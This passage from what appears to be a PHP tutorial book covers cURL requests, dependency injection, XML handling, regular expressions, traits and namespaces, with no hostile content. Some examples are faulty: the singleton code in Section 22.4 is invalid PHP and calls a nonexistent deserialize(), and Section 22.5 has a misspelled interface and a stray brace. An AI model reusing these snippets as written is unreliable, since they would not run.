if ($error == UPLOAD_ERR_OK) {

$files["upload[$key]"] = curl_file_create(
$_FILES['upload']['tmp_name'][$key],
$_FILES['upload']['type'][$key],
$_FILES['upload']['name'][$key]
);
}
}

Complete PHP Tips & Secrets for Professionals 103

curl_file_create is a helper function of the CurlFile Class and creates the CurlFile objects. We save each object in the
$files array with keys named "upload[0]" and "upload[1]" for our two files.

We now have to combine the flattened post array and the files array and save it as $data like this:

$data = $new_post_array + $files;

The last step is to send the cURL request:

$ch = curl_init();

curl_setopt_array($ch, array(
CURLOPT_POST => 1,
CURLOPT_URL => "https://api.externalserver.com/upload.php",
CURLOPT_RETURNTRANSFER => 1,
CURLINFO_HEADER_OUT => 1,
CURLOPT_POSTFIELDS => $data
));

$result = curl_exec($ch);

curl_close ($ch);

Since $data is now a simple (flat) array, cURL automatically sends this POST request with Content Type:
multipart/form-data

In upload.php on the external server you can now get the post data and files with $_POST and $_FILES as you would
normally do.

Section 18.6: Creating and sending a request with a custom method

By default, PHP Curl supports GET and POST requests. It is possible to also send custom requests, such as DELETE,
PUT or PATCH (or even non-standard methods) using the CURLOPT_CUSTOMREQUEST parameter.

$method = 'DELETE'; // Create a DELETE request

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
$content = curl_exec($ch);
curl_close($ch);

Section 18.7: Get and Set custom http headers in php

Sending The Request Header

$uri = 'http://localhost/http.php';
$ch = curl_init($uri);
curl_setopt_array($ch, array(
CURLOPT_HTTPHEADER => array('X-User: admin', 'X-Authorization: 123456'),
CURLOPT_RETURNTRANSFER =>true,
CURLOPT_VERBOSE => 1
));
$out = curl_exec($ch);
curl_close($ch);
// echo response output
echo $out;

Reading the custom header

Complete PHP Tips & Secrets for Professionals 104

print_r(apache_request_headers());

OutPut :-

Array
(
[Host] => localhost
[Accept] => */*
[X-User] => admin
[X-Authorization] => 123456
[Content-Length] => 9
[Content-Type] => application/x-www-form-urlencoded
)

We can also send the header using below syntax :-

curl --header "X-MyHeader: 123" www.google.com

Chapter 19: Dependency Injection

Dependency Injection (DI) is a fancy term for "passing things in". All it really means is passing the dependencies of an
object via the constructor and / or setters instead of creating them upon object creation inside the object.
Dependency Injection might also refer to Dependency Injection Containers which automate the construction and
injection.

Section 19.1: Constructor Injection

Objects will often depend on other objects. Instead of creating the dependency in the constructor, the dependency
should be passed into the constructor as a parameter. This ensures there is not tight coupling between the objects,
and enables changing the dependency upon class instantiation. This has a number of benefits, including making
code easier to read by making the dependencies explicit, as well as making testing simpler since the dependencies
can be switched out and mocked more easily.

In the following example, Component will depend on an instance of Logger, but it doesn't create one. It requires one
to be passed as argument to the constructor instead.

interface Logger {
public function log(string $message);
}

class Component {
private $logger;

public function __construct(Logger $logger) {

$this->logger = $logger;
}
}

Without dependency injection, the code would probably look similar to:

class Component {
private $logger;

public function __construct() {

$this->logger = new FooLogger();
}
}

Using new to create new objects in the constructor indicates that dependency injection was not used (or was used

Complete PHP Tips & Secrets for Professionals 105

incompletely), and that the code is tightly coupled. It is also a sign that the code is incompletely tested or may have
brittle tests that make incorrect assumptions about program state.

In the above example, where we are using dependency injection instead, we could easily change to a different
Logger if doing so became necessary. For example, we might use a Logger implementation that logs to a different
location, or that uses a different logging format, or that logs to the database instead of to a file.

Section 19.2: Setter Injection

Dependencies can also be injected by setters.

interface Logger {
public function log($message);
}

class Component {
private $logger;
private $databaseConnection;

public function __construct(DatabaseConnection $databaseConnection) {

$this->databaseConnection = $databaseConnection;
}

public function setLogger(Logger $logger) {

$this->logger = $logger;
}

public function core() {

$this->logSave();
return $this->databaseConnection->save($this);
}

public function logSave() {

if ($this->logger) {
$this->logger->log('saving');
}
}
}

This is especially interesting when the core functionality of the class does not rely on the dependency to work.

Here, the only needed dependency is the DatabaseConnection so it's in the constructor. The Logger dependency is
optional and thus does not need to be part of the constructor, making the class easier to use.

Note that when using setter injection, it's better to extend the functionality rather than replacing it. When setting a
dependency, there's nothing confirming that the dependency won't change at some point, which could lead in
unexpected results. For example, a FileLogger could be set at first, and then a MailLogger could be set. This
breaks encapsulation and makes logs hard to find, because we're replacing the dependency.

To prevent this, we should add a dependency with setter injection, like so :

interface Logger {
public function log($message);
}

class Component {
private $loggers = array();
private $databaseConnection;

public function __construct(DatabaseConnection $databaseConnection) {

Complete PHP Tips & Secrets for Professionals 106

 $this->databaseConnection = $databaseConnection;
}

public function addLogger(Logger $logger) {

$this->loggers[] = $logger;
}

public function core() {

$this->logSave();
return $this->databaseConnection->save($this);
}

public function logSave() {

foreach ($this->loggers as $logger) {
$logger->log('saving');
}
}
}

Like this, whenever we'll use the core functionality, it won't break even if there is no logger dependency added, and
any logger added will be used even though another logger could've been added. We're extending functionality
instead of replacing it.

Section 19.3: Container Injection

Dependency Injection (DI) in the context of using a Dependency Injection Container (DIC) can be seen as a superset
of constructor injection. A DIC will typically analyze a class constructor's typehints and resolve its needs, effectively
injecting the dependencies needed for the instance execution.

The exact implementation goes well beyond the scope of this document but at its very heart, a DIC relies on using
the signature of a class...

namespace Documentation;

class Example
{
private $meaning;

public function __construct(Meaning $meaning)

{
$this->meaning = $meaning;
}
}

... to automatically instantiate it, relying most of the time on an autoloading system.

// older PHP versions

$container->make('Documentation\Example');

// since PHP 5.5

$container->make(\Documentation\Example::class);

If you are using PHP in version at least 5.5 and want to get a name of a class in a way that's being shown above, the
correct way is the second approach. That way you can quickly find usages of the class using modern IDEs, which will
greatly help you with potential refactoring. You do not want to rely on regular strings.

In this case, the Documentation\Example knows it needs a Meaning, and a DIC would in turn instantiate a Meaning
type. The concrete implementation need not depend on the consuming instance.

Instead, we set rules in the container, prior to object creation, that instructs how specific types should be

Complete PHP Tips & Secrets for Professionals 107

instantiated if need be.

This has a number of advantages, as a DIC can

Share common instances

Provide a factory to resolve a type signature
Resolve an interface signature

If we define rules about how specific type needs to be managed we can achieve fine control over which types are
shared, instantiated, or created from a factory.

Chapter 20: XML

Section 20.1: Create a XML using DomDocument
To create a XML using DOMDocument,basically, we need to create all the tags and attributes using the
createElement() and createAttribute() methods and them create the XML structure with the appendChild().

The example below includes tags, attributes, a CDATA section and a different namespace for the second tag:

$dom = new DOMDocument('1.0', 'utf-8');

$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;

//create the main tags, without values

$books = $dom->createElement('books');
$book_1 = $dom->createElement('book');

// create some tags with values

$name_1 = $dom->createElement('name', 'PHP - An Introduction');
$price_1 = $dom->createElement('price', '$5.95');
$id_1 = $dom->createElement('id', '1');

//create and append an attribute

$attr_1 = $dom->createAttribute('version');
$attr_1->value = '1.0';
//append the attribute
$id_1->appendChild($attr_1);

//create the second tag book with different namespace

$namespace = 'www.example.com/libraryns/1.0';

//include the namespace prefix in the books tag

$books->setAttributeNS('http://www.w3.org/2000/xmlns/', 'xmlns:ns', $namespace);
$book_2 = $dom->createElementNS($namespace,'ns:book');
$name_2 = $dom->createElementNS($namespace, 'ns:name');

//create a CDATA section (that is another DOMNode instance) and put it inside the name tag
$name_cdata = $dom->createCDATASection('PHP - Advanced');
$name_2->appendChild($name_cdata);
$price_2 = $dom->createElementNS($namespace, 'ns:price', '$25.00');
$id_2 = $dom->createElementNS($namespace, 'ns:id', '2');

//create the XML structure

$books->appendChild($book_1);
$book_1->appendChild($name_1);
$book_1->appendChild($price_1);
$book_1->appendChild($id_1);
$books->appendChild($book_2);
$book_2->appendChild($name_2);

Complete PHP Tips & Secrets for Professionals 108

$book_2->appendChild($price_2);
$book_2->appendChild($id_2);

$dom->appendChild($books);

//saveXML() method returns the XML in a String

print_r ($dom->saveXML());

This will output the following XML:

<?xml version="1.0" encoding="utf-8"?>

<books xmlns:ns="www.example.com/libraryns/1.0">
<book>
<name>PHP - An Introduction</name>
<price>$5.95</price>
<id version="1.0">1</id>
</book>
<ns:book>
<ns:name><![CDATA[PHP - Advanced]]></ns:name>
<ns:price>$25.00</ns:price>
<ns:id>2</ns:id>
</ns:book>
</books>

Section 20.2: Read a XML document with DOMDocument

Similarly to the SimpleXML, you can use DOMDocument to parse XML from a string or from a XML file

1. From a string

$doc = new DOMDocument();

$doc->loadXML($string);

2. From a file

$doc = new DOMDocument();

$doc->load('books.xml');// use the actual file path. Absolute or relative

Example of parsing

Considering the following XML:

<?xml version="1.0" encoding="UTF-8"?>

<books>
<book>
<name>PHP - An Introduction</name>
<price>$5.95</price>
<id>1</id>
</book>
<book>
<name>PHP - Advanced</name>
<price>$25.00</price>
<id>2</id>
</book>
</books>

This is a example code to parse it

$books = $doc->getElementsByTagName('book');
foreach ($books as $book) {
$title = $book->getElementsByTagName('name')->item(0)->nodeValue;
$price = $book->getElementsByTagName('price')->item(0)->nodeValue;

Complete PHP Tips & Secrets for Professionals 109

 $id = $book->getElementsByTagName('id')->item(0)->nodeValue;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}

This will output:

The title of the book 1 is PHP - An Introduction and it costs $5.95.

The title of the book 2 is PHP - Advanced and it costs $25.00.

Section 20.3: Leveraging XML with PHP's SimpleXML Library

SimpleXML is a powerful library which converts XML strings to an easy to use PHP object.

The following assumes an XML structure as below.

<?xml version="1.0" encoding="UTF-8"?>

<document>
<book>
<bookName>StackOverflow SimpleXML Example</bookName>
<bookAuthor>PHP Programmer</bookAuthor>
</book>
<book>
<bookName>Another SimpleXML Example</bookName>
<bookAuthor>Stack Overflow Community</bookAuthor>
<bookAuthor>PHP Programmer</bookAuthor>
<bookAuthor>FooBar</bookAuthor>
</book>
</document>

Read our data in to SimpleXML

To get started, we need to read our data into SimpleXML. We can do this in 3 different ways. Firstly, we can load our
data from a DOM node.

$xmlElement = simplexml_import_dom($domNode);

Our next option is to load our data from an XML file.

$xmlElement = simplexml_load_file($filename);

Lastly, we can load our data from a variable.

$xmlString = '<?xml version="1.0" encoding="UTF-8"?>

<document>
<book>
<bookName>StackOverflow SimpleXML Example</bookName>
<bookAuthor>PHP Programmer</bookAuthor>
</book>
<book>
<bookName>Another SimpleXML Example</bookName>
<bookAuthor>Stack Overflow Community</bookAuthor>
<bookAuthor>PHP Programmer</bookAuthor>
<bookAuthor>FooBar</bookAuthor>
</book>
</document>';
$xmlElement = simplexml_load_string($xmlString);

Whether you've picked to load from a DOM Element, from a file or from a string, you are now left with a
SimpleXMLElement variable called $xmlElement. Now, we can start to make use of our XML in PHP.

Complete PHP Tips & Secrets for Professionals 110

Accessing our SimpleXML Data

The simplest way to access data in our SimpleXMLElement object is to call the properties directly. If we want to
access our first bookName, StackOverflow SimpleXML Example, then we can access it as per below.

echo $xmlElement->book->bookName;

At this point, SimpleXML will assume that because we have not told it explicitly which book we want, that we want
the first one. However, if we decide that we do not want the first one, rather that we want Another SimpleXML
Example, then we can access it as per below.

echo $xmlElement->book[1]->bookName;

It is worth noting that using [0] works the same as not using it, so

$xmlElement->book

works the same as

$xmlElement->book[0]

Looping through our XML

There are many reasons you may wish to loop through XML, such as that you have a number of items, books in our
case, that we would like to display on a webpage. For this, we can use a foreach loop or a standard for loop, taking
advantage of SimpleXMLElement's count function..

foreach ( $xmlElement->book as $thisBook ) {

echo $thisBook->bookName
}

or

$count = $xmlElement->count();
for ( $i=0; $i<$count; $i++ ) {
echo $xmlElement->book[$i]->bookName;
}

Handling Errors

Now we have come so far, it is important to realise that we are only humans, and will likely encounter an error
eventually - especially if we are playing with different XML files all the time. And so, we will want to handle those
errors.

Consider we created an XML file. You will notice that while this XML is much alike what we had earlier, the problem
with this XML file is that the final closing tag is /doc instead of /document.

<?xml version="1.0" encoding="UTF-8"?>

<document>
<book>
<bookName>StackOverflow SimpleXML Example</bookName>
<bookAuthor>PHP Programmer</bookAuthor>
</book>
<book>
<bookName>Another SimpleXML Example</bookName>
<bookAuthor>Stack Overflow Community</bookAuthor>
<bookAuthor>PHP Programmer</bookAuthor>
<bookAuthor>FooBar</bookAuthor>
</book>

Complete PHP Tips & Secrets for Professionals 111

</doc>

Now, say, we load this into our PHP as $file.

libxml_use_internal_errors(true);
$xmlElement = simplexml_load_file($file);
if ( $xmlElement === false ) {
$errors = libxml_get_errors();
foreach ( $errors as $thisError ) {
switch ( $thisError->level ) {
case LIBXML_ERR_FATAL:
echo "FATAL ERROR: ";
break;
case LIBXML_ERR_ERROR:
echo "Non Fatal Error: ";
break;
case LIBXML_ERR_WARNING:
echo "Warning: ";
break;
}
echo $thisError->code . PHP_EOL .
'Message: ' . $thisError->message . PHP_EOL .
'Line: ' . $thisError->line . PHP_EOL .
'Column: ' . $thisError->column . PHP_EOL .
'File: ' . $thisError->file;
}
libxml_clear_errors();
} else {
echo 'Happy Days';
}

We will be greeted with the following

FATAL ERROR: 76
Message: Opening and ending tag mismatch: document line 2 and doc

Line: 13
Column: 10
File: filepath/filename.xml

However as soon as we fix this problem, we are presented with "Happy Days".

Section 20.4: Create an XML file using XMLWriter

Instantiate a XMLWriter object:

$xml = new XMLWriter();

Next open the file to which you want to write. For example, to write to /var/www/example.com/xml/output.xml,
use:

$xml->openUri('file:///var/www/example.com/xml/output.xml');

To start the document (create the XML open tag):

$xml->startDocument('1.0', 'utf-8');

This will output:

<?xml version="1.0" encoding="UTF-8"?>

Complete PHP Tips & Secrets for Professionals 112

Now you can start writing elements:

$xml->writeElement('foo', 'bar');

This will generate the XML:

<foo>bar</foo>

If you need something a little more complex than simply nodes with plain values, you can also "start" an element
and add attributes to it before closing it:

$xml->startElement('foo');
$xml->writeAttribute('bar', 'baz');
$xml->writeCdata('Lorem ipsum');
$xml->endElement();

This will output:

<foo bar="baz"><![CDATA[Lorem ipsum]]></foo>

Section 20.5: Read a XML document with SimpleXML

You can parse XML from a string or from a XML file

1. From a string

$xml_obj = simplexml_load_string($string);

2. From a file

$xml_obj = simplexml_load_file('books.xml');

Example of parsing

Considering the following XML:

<?xml version="1.0" encoding="UTF-8"?>

<books>
<book>
<name>PHP - An Introduction</name>
<price>$5.95</price>
<id>1</id>
</book>
<book>
<name>PHP - Advanced</name>
<price>$25.00</price>
<id>2</id>
</book>
</books>

This is a example code to parse it

$xml = simplexml_load_string($xml_string);
$books = $xml->book;
foreach ($books as $book) {
$id = $book->id;
$title = $book->name;
$price = $book->price;
print_r ("The title of the book $id is $title and it costs $price." . "\n");
}

Complete PHP Tips & Secrets for Professionals 113

This will output:

The title of the book 1 is PHP - An Introduction and it costs $5.95.

The title of the book 2 is PHP - Advanced and it costs $25.00.

Chapter 21: Regular Expressions (regexp/PCRE)

preg_replace($pattern, $replacement, $subject, $limit = -1, $count = 0);
preg_replace_callback($pattern, $callback, $subject, $limit = -1, $count = 0);
preg_match($pattern, $subject, &$matches, $flags = 0, $offset = 0);
preg_match_all($pattern, $subject, &$matches, $flags = PREG_PATTERN_ORDER, $offset = 0);
preg_split($pattern, $subject, $limit = -1, $flags = 0)

Parameter Details
$pattern a string with a regular expression (PCRE pattern)

Section 21.1: Global RegExp match

A global RegExp match can be performed using preg_match_all. preg_match_all returns all matching results in the
subject string (in contrast to preg_match, which only returns the first one).

The preg_match_all function returns the number of matches. Third parameter $matches will contain matches in
format controlled by flags that can be given in fourth parameter.

If given an array, $matches will contain array in similar format you’d get with preg_match, except that preg_match
stops at first match, where preg_match_all iterates over the string until the string is wholly consumed and returns
result of each iteration in a multidimensional array, which format can be controlled by the flag in fourth argument.

The fourth argument, $flags, controls structure of $matches array. Default mode is PREG_PATTERN_ORDER and
possible flags are PREG_SET_ORDER and PREG_PATTERN_ORDER.

Following code demonstrates usage of preg_match_all:

$subject = "a1b c2d3e f4g";

$pattern = '/[a-z]([0-9])[a-z]/';

var_dump(preg_match_all($pattern, $subject, $matches, PREG_SET_ORDER)); // int(3)

var_dump($matches);
preg_match_all($pattern, $subject, $matches); // the flag is PREG_PATTERN_ORDER by default
var_dump($matches);
// And for reference, same regexp run through preg_match()
preg_match($pattern, $subject, $matches);
var_dump($matches);

The first var_dump from PREG_SET_ORDER gives this output:

array(3) {
[0]=>
array(2) {
[0]=>
string(3) "a1b"
[1]=>
string(1) "1"
}
[1]=>
array(2) {
[0]=>
string(3) "c2d"

Complete PHP Tips & Secrets for Professionals 114

 [1]=>
string(1) "2"
}
[2]=>
array(2) {
[0]=>
string(3) "f4g"
[1]=>
string(1) "4"
}
}

$matches has three nested arrays. Each array represents one match, which has the same format as the return
result of preg_match.

The second var_dump (PREG_PATTERN_ORDER) gives this output:

array(2) {
[0]=>
array(3) {
[0]=>
string(3) "a1b"
[1]=>
string(3) "c2d"
[2]=>
string(3) "f4g"
}
[1]=>
array(3) {
[0]=>
string(1) "1"
[1]=>
string(1) "2"
[2]=>
string(1) "4"
}
}

When the same regexp is run through preg_match, following array is returned:

array(2) {
[0] =>
string(3) "a1b"
[1] =>
string(1) "1"
}

Section 21.2: String matching with regular expressions

preg_match checks whether a string matches the regular expression.

$string = 'This is a string which contains numbers: 12345';

$isMatched = preg_match('%^[a-zA-Z]+: [0-9]+$%', $string);

var_dump($isMatched); // bool(true)

If you pass in a third parameter, it will be populated with the matching data of the regular expression:

preg_match('%^([a-zA-Z]+): ([0-9]+)$%', 'This is a string which contains numbers: 12345',

$matches);
// $matches now contains results of the regular expression matches in an array.
echo json_encode($matches); // ["numbers: 12345", "numbers", "12345"]

Complete PHP Tips & Secrets for Professionals 115

$matches contains an array of the whole match then substrings in the regular expression bounded by parentheses,
in the order of open parenthesis's offset. That means, if you have /z(a(b))/ as the regular expression, index 0
contains the whole substring zab, index 1 contains the substring bounded by the outer parentheses ab and index 2
contains the inner parentheses b.

Section 21.3: Split string into array by a regular expression

$string = "0| PHP 1| CSS 2| HTML 3| AJAX 4| JSON";

//[0-9]: Any single character in the range 0 to 9

// + : One or more of 0 to 9
$array = preg_split("/[0-9]+\|/", $string, -1, PREG_SPLIT_NO_EMPTY);
//Or
// [] : Character class
// \d : Any digit
// + : One or more of Any digit
$array = preg_split("/[\d]+\|/", $string, -1, PREG_SPLIT_NO_EMPTY);

Output:

Array
(
[0] => PHP
[1] => CSS
[2] => HTML
[3] => AJAX
[4] => JSON
)

To split a string into a array simply pass the string and a regexp for preg_split(); to match and search, adding a
third parameter (limit) allows you to set the number of "matches" to perform, the remaining string will be added
to the end of the array.

The fourth parameter is (flags) here we use the PREG_SPLIT_NO_EMPTY which prevents our array from containing
any empty keys / values.

Section 21.4: String replacing with regular expression

$string = "a;b;c\nd;e;f";
// $1, $2 and $3 represent the first, second and third capturing groups
echo preg_replace("(^([^;]+);([^;]+);([^;]+)$)m", "$3;$2;$1", $string);

Outputs

c;b;a
f;e;d

Searches for everything between semicolons and reverses the order.

Section 21.5: String replace with callback

preg_replace_callback works by sending every matched capturing group to the defined callback and replaces it
with the return value of the callback. This allows us to replace strings based on any kind of logic.

$subject = "He said 123abc, I said 456efg, then she said 789hij";
$regex = "/\b(\d+)\w+/";

// This function replaces the matched entries conditionally

// depending upon the first character of the capturing group
function regex_replace($matches){

Complete PHP Tips & Secrets for Professionals 116

 switch($matches[1][0]){
case '7':
$replacement = "<b>{$matches[0]}</b>";
break;
default:
$replacement = "<i>{$matches[0]}</i>";
}
return $replacement;
}

$replaced_str = preg_replace_callback($regex, "regex_replace", $subject);

print_r($replaced_str);
# He said <i>123abc</i>, I said <i>456efg</i>, then she said <b>789hij</b>

Chapter 22: Traits

Section 22.1: What is a Trait?
PHP only allows single inheritance. In other words, a class can only extend one other class. But what if you need to
include something that doesn't belong in the parent class? Prior to PHP 5.4 you would have to get creative, but in
5.4 Traits were introduced. Traits allow you to basically "copy and paste" a portion of a class into your main class

trait Talk {
/** @var string */
public $phrase = 'Well Wilbur...';
public function speak() {
echo $this->phrase;
}
}

class MrEd extends Horse {

use Talk;
public function __construct() {
$this->speak();
}

public function setPhrase($phrase) {

$this->phrase = $phrase;
}
}

So here we have MrEd, which is already extending Horse. But not all horses Talk, so we have a Trait for that. Let's
note what this is doing

First, we define our Trait. We can use it with autoloading and Namespaces (see also Referencing a class or function
in a namespace). Then we include it into our MrEd class with the keyword use.

You'll note that MrEd takes to using the Talk functions and variables without defining them. Remember what we
said about copy and paste? These functions and variables are all defined within the class now, as if this class had
defined them.

Traits are most closely related to Abstract classes in that you can define variables and functions. You also cannot
instantiate a Trait directly (i.e. new Trait()). Traits cannot force a class to implicitly define a function like an
Abstract class or an Interface can. Traits are only for explicit definitions (since you can implement as many
Interfaces as you want, see Interfaces).

When should I use a Trait?

Complete PHP Tips & Secrets for Professionals 117

The first thing you should do, when considering a Trait, is to ask yourself this important question

Can I avoid using a Trait by restructuring my code?

More often than not, the answer is going to be Yes. Traits are edge cases caused by single inheritance. The
temptation to misuse or overuse Traits can be high. But consider that a Trait introduces another source for your
code, which means there's another layer of complexity. In the example here, we're only dealing with 3 classes. But
Traits mean you can now be dealing with far more than that. For each Trait, your class becomes that much harder
to deal with, since you must now go reference each Trait to find out what it defines (and potentially where a
collision happened, see Conflict Resolution). Ideally, you should keep as few Traits in your code as possible.

Section 22.2: Traits to facilitate horizontal code reuse

Let's say we have an interface for logging:

interface Logger {
function log($message);
}

Now say we have two concrete implementations of the Logger interface: the FileLogger and the ConsoleLogger.

class FileLogger implements Logger {

public function log($message) {
// Append log message to some file
}
}

class ConsoleLogger implements Logger {

public function log($message) {
// Log message to the console
}
}

Now if you define some other class Foo which you also want to be able to perform logging tasks, you could do
something like this:

class Foo implements Logger {

private $logger;

public function setLogger(Logger $logger) {

$this->logger = $logger;
}

public function log($message) {

if ($this->logger) {
$this->logger->log($message);
}
}
}

Foo is now also a Logger, but its functionality depends on the Logger implementation passed to it via setLogger().
If we now want class Bar to also have this logging mechanism, we would have to duplicate this piece of logic in the
Bar class.

Instead of duplicating the code, a trait can be defined:

trait LoggableTrait {
protected $logger;

public function setLogger(Logger $logger) {

Complete PHP Tips & Secrets for Professionals 118

 $this->logger = $logger;
}

public function log($message) {

if ($this->logger) {
$this->logger->log($message);
}
}
}

Now that we have defined the logic in a trait, we can use the trait to add the logic to the Foo and Bar classes:

class Foo {
use LoggableTrait;
}

class Bar {
use LoggableTrait;
}

And, for example, we can use the Foo class like this:

$foo = new Foo();

$foo->setLogger( new FileLogger() );

//note how we use the trait as a 'proxy' to call the Logger's log method on the Foo instance
$foo->log('my beautiful message');

Section 22.3: Conflict Resolution

Trying to use several traits into one class could result in issues involving conflicting methods. You need to resolve
such conflicts manually.

For example, let's create this hierarchy:

trait MeowTrait {
public function say() {
print "Meow \n";
}
}

trait WoofTrait {
public function say() {
print "Woof \n";
}
}

abstract class UnMuteAnimals {

abstract function say();
}

class Dog extends UnMuteAnimals {

use WoofTrait;
}

class Cat extends UnMuteAnimals {

use MeowTrait;
}

Now, let's try to create the following class:

class TalkingParrot extends UnMuteAnimals {

Complete PHP Tips & Secrets for Professionals 119

 use MeowTrait, WoofTrait;
}

The php interpreter will return a fatal error:

Fatal error: Trait method say has not been applied, because there are collisions with other trait methods on
TalkingParrot

To resolve this conflict, we could do this:

use keyword insteadof to use the method from one trait instead of method from another trait
create an alias for the method with a construct like WoofTrait::say as sayAsDog;

class TalkingParrotV2 extends UnMuteAnimals {

use MeowTrait, WoofTrait {
MeowTrait::say insteadof WoofTrait;
WoofTrait::say as sayAsDog;
}
}

$talkingParrot = new TalkingParrotV2();

$talkingParrot->say();
$talkingParrot->sayAsDog();

This code will produce the following output:

Meow
Woof

Section 22.4: Implementing a Singleton using Traits

Disclaimer: In no way does this example advocate the use of singletons. Singletons are to be used with a lot of care.

In PHP there is quite a standard way of implementing a singleton:

public class Singleton {

private $instance;

private function __construct() { };

public function getInstance() {

if (!self::$instance) {
// new self() is 'basically' equivalent to new Singleton()
self::$instance = new self();
}

return self::$instance;
}

// Prevent cloning of the instance

protected function __clone() { }

// Prevent serialization of the instance

protected function __sleep() { }

// Prevent deserialization of the instance

protected function __wakeup() { }
}

To prevent code duplication, it is a good idea to extract this behaviour into a trait.

Complete PHP Tips & Secrets for Professionals 120

trait SingletonTrait {
private $instance;

protected function __construct() { };

public function getInstance() {

if (!self::$instance) {
// new self() will refer to the class that uses the trait
self::$instance = new self();
}

return self::$instance;
}

protected function __clone() { }

protected function __sleep() { }
protected function __wakeup() { }
}

Now any class that wants to function as a singleton can simply use the trait:

class MyClass {
use SingletonTrait;
}

// Error! Constructor is not publicly accessible

$myClass = new MyClass();

$myClass = MyClass::getInstance();

// All calls below will fail due to method visibility

$myClassCopy = clone $myClass; // Error!
$serializedMyClass = serialize($myClass); // Error!
$myClass = deserialize($serializedMyclass); // Error!

Even though it is now impossible to serialize a singleton, it is still useful to also disallow the deserialize method.

Section 22.5: Traits to keep classes clean

Over time, our classes may implement more and more interfaces. When these interfaces have many methods, the
total number of methods in our class will become very large.

For example, let's suppose that we have two interfaces and a class implementing them:

interface Printable {
public function print();
//other interface methods...
}

interface Cacheable {
//interface methods
}

class Article implements Cachable, Printable {

//here we must implement all the interface methods
public function print(){ {
/* code to print the article */
}
}

Instead of implementing all the interface methods inside the Article class, we could use separate Traits to

Complete PHP Tips & Secrets for Professionals 121

implement these interfaces, keeping the class smaller and separating the code of the interface
implementation from the class.

From example, to implement the Printable interface we could create this trait:

trait PrintableArticle {
//implements here the interface methods
public function print() {
/* code to print the article */
}
}

and make the class use the trait:

class Article implements Cachable, Printable {

use PrintableArticle;
use CacheableArticle;
}

The primary benefits would be that our interface-implementation methods will be separated from the rest of the
class, and stored in a trait who has the sole responsibility to implement the interface for that particular type
of object.

Section 22.6: Multiple Traits Usage

trait Hello {
public function sayHello() {
echo 'Hello ';
}
}

trait World {
public function sayWorld() {
echo 'World';
}
}

class MyHelloWorld {
use Hello, World;
public function sayExclamationMark() {
echo '!';
}
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();

The above example will output:

Hello World!

Section 22.7: Changing Method Visibility

trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}

Complete PHP Tips & Secrets for Professionals 122

// Change visibility of sayHello
class MyClass1 {
use HelloWorld { sayHello as protected; }
}

// Alias method with changed visibility

// sayHello visibility not changed
class MyClass2 {
use HelloWorld { sayHello as private myPrivateHello; }
}

Running this example:

(new MyClass1())->sayHello();
// Fatal error: Uncaught Error: Call to protected method MyClass1::sayHello()

(new MyClass2())->myPrivateHello();
// Fatal error: Uncaught Error: Call to private method MyClass2::myPrivateHello()

(new MyClass2())->sayHello();
// Hello World!

So be aware that in the last example in MyClass2 the original un-aliased method from trait HelloWorld stays
accessible as-is.

Chapter 23: Namespaces

Section 23.1: Declaring namespaces
A namespace declaration can look as follows:

namespace MyProject; - Declare the namespace MyProject

namespace MyProject\Security\Cryptography; - Declare a nested namespace
namespace MyProject { ... } - Declare a namespace with enclosing brackets.

It is recommended to only declare a single namespace per file, even though you can declare as many as you like in
a single file:

namespace First {
class A { ... }; // Define class A in the namespace First.
}

namespace Second {
class B { ... }; // Define class B in the namespace Second.
}

namespace {
class C { ... }; // Define class C in the root namespace.
}

Every time you declare a namespace, classes you define after that will belong to that namespace:

namespace MyProject\Shapes;

class Rectangle { ... }

class Square { ... }
class Circle { ... }

A namespace declaration can be used multiple times in different files. The example above defined three classes in
the MyProject\Shapes namespace in a single file. Preferably this would be split up into three files, each starting

Complete PHP Tips & Secrets for Professionals 123

with namespace MyProject\Shapes;. This is explained in more detail in the PSR-4 standard example.

Section 23.2: Referencing a class or function in a namespace

As shown in Declaring Namespaces, we can define a class in a namespace as follows:

namespace MyProject\Shapes;

class Rectangle { ... }

To reference this class the full path (including the namespace) needs to be used:

$rectangle = new MyProject\Shapes\Rectangle();

This can be shortened by importing the class via the use-statement:

// Rectangle becomes an alias to MyProject\Shapes\Rectangle

use MyProject\Shapes\Rectangle;

$rectangle = new Rectangle();

As for PHP 7.0 you can group various use-statements in one single statement using brackets:

use MyProject\Shapes\{
Rectangle, //Same as `use MyProject\Shapes\Rectangle`
Circle, //Same as `use MyProject\Shapes\Circle`
Triangle, //Same as `use MyProject\Shapes\Triangle`

Polygon\FiveSides, //You can also import sub-namespaces

Polygon\SixSides //In a grouped `use`-statement
};

$rectangle = new Rectangle();

Sometimes two classes have the same name. This is not a problem if they are in a different namespace, but it could
become a problem when attempting to import them with the use-statement:

use MyProject\Shapes\Oval;
use MyProject\Languages\Oval; // Apparantly Oval is also a language!
// Error!

This can be solved by defining a name for the alias yourself using the as keyword:

use MyProject\Shapes\Oval as OvalShape;

use MyProject\Languages\Oval as OvalLanguage;

To reference a class outside the current namespace, it has to be escaped with a \, otherwise a relative namespace
path is assumed from the current namespace:

namespace MyProject\Shapes;

// References MyProject\Shapes\Rectangle. Correct!

$a = new Rectangle();

// References MyProject\Shapes\Rectangle. Correct, but unneeded!

$a = new \MyProject\Shapes\Rectangle();

// References MyProject\Shapes\MyProject\Shapes\Rectangle. Incorrect!

$a = new MyProject\Shapes\Rectangle();

Complete PHP Tips & Secrets for Professionals 124

// Referencing StdClass from within a namespace requires a \ prefix
// since it is not defined in a namespace, meaning it is global.

// References StdClass. Correct!

$a = new \StdClass();

// References MyProject\Shapes\StdClass. Incorrect!

$a = new StdClass();

Section 23.3: Declaring sub-namespaces

To declare a single namespace with hierarchy use following example:

namespace MyProject\Sub\Level;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

The above example creates:

constant MyProject\Sub\Level\CONNECT_OK

class MyProject\Sub\Level\Connection and

function MyProject\Sub\Level\connect

Section 23.4: What are Namespaces?

The PHP community has a lot of developers creating lots of code. This means that one library’s PHP code may use
the same class name as another library. When both libraries are used in the same namespace, they collide and
cause trouble.

Namespaces solve this problem. As described in the PHP reference manual, namespaces may be compared to
operating system directories that namespace files; two files with the same name may co-exist in separate
